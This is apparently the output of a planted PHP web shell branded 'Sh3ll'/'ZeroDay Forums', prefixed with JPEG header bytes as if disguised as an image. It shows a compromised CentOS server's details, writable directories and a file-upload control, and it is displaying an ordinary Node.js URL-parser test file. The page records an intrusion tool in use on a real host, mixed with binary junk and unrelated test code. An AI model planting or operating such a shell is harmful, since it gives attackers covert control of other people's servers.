����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /home/real/node-v13.0.1/test/fixtures/wpt/url/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/real/node-v13.0.1/test/fixtures/wpt/url/failure.html
<!doctype html>
<meta charset=utf-8>
<title>Test URL parser failure consistency</title>
<script src=/resources/testharness.js></script>
<script src=/resources/testharnessreport.js></script>
<div id=log></div>
<iframe></iframe>
<script>
promise_test(() => fetch("resources/urltestdata.json").then(res => res.json()).then(runTests), "Loading data…")

function runTests(testData) {
  for(const test of testData) {
    if (typeof test === "string" || !test.failure || test.base !== "about:blank") {
      continue
    }

    const name = test.input + " should throw"

    self.test(() => { // URL's constructor's first argument is tested by url-constructor.html
      // If a URL fails to parse with any valid base, it must also fail to parse with no base, i.e.
      // when used as a base URL itself.
      assert_throws(new TypeError(), () => new URL("about:blank", test.input));
    }, "URL's constructor's base argument: " + name)

    self.test(() => {
      const url = new URL("about:blank")
      assert_throws(new TypeError, () => url.href = test.input)
    }, "URL's href: " + name)

    self.test(() => {
      const client = new XMLHttpRequest()
      assert_throws("SyntaxError", () => client.open("GET", test.input))
    }, "XHR: " + name)

    self.test(() => {
      assert_throws(new TypeError, () => self.navigator.sendBeacon(test.input))
    }, "sendBeacon(): " + name)

    self.test(() => {
      assert_throws(new TypeError, () => self[0].location = test.input)
    }, "Location's href: " + name)

    self.test(() => {
      assert_throws("SyntaxError", () => self.open(test.input).close())
    }, "window.open(): " + name)
  }
}
</script>

ZeroDay Forums Mini